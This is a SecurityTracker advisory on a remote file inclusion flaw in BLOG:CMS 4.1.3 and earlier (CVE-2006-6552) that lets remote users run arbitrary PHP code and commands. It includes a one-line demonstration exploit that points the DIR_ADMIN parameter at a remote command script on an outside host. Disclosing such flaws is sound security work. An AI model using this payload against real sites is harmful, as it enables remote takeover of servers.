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Category:   Application (Forum/Board/Portal)  >   BLOG CMS Vendors:   blogcms.com
BLOG:CMS Include File Bug in 'NP_UserSharing.php' Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017375
SecurityTracker URL:  http://securitytracker.com/id/1017375
CVE Reference:   CVE-2006-6552   (Links to External Site)
Updated:  May 22 2008
Original Entry Date:  Dec 13 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 4.1.3 and prior
Description:   A vulnerability was reported in BLOG:CMS. A remote user can include and execute arbitrary code on the target system.

The 'NP_UserSharing.php' script does not properly validate user-supplied input in the DIR_ADMIN parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit is provided:

admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=http://www.soqor.net/tools/cmd.txt?admin

HACKERS PAL discovered this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.blogcms.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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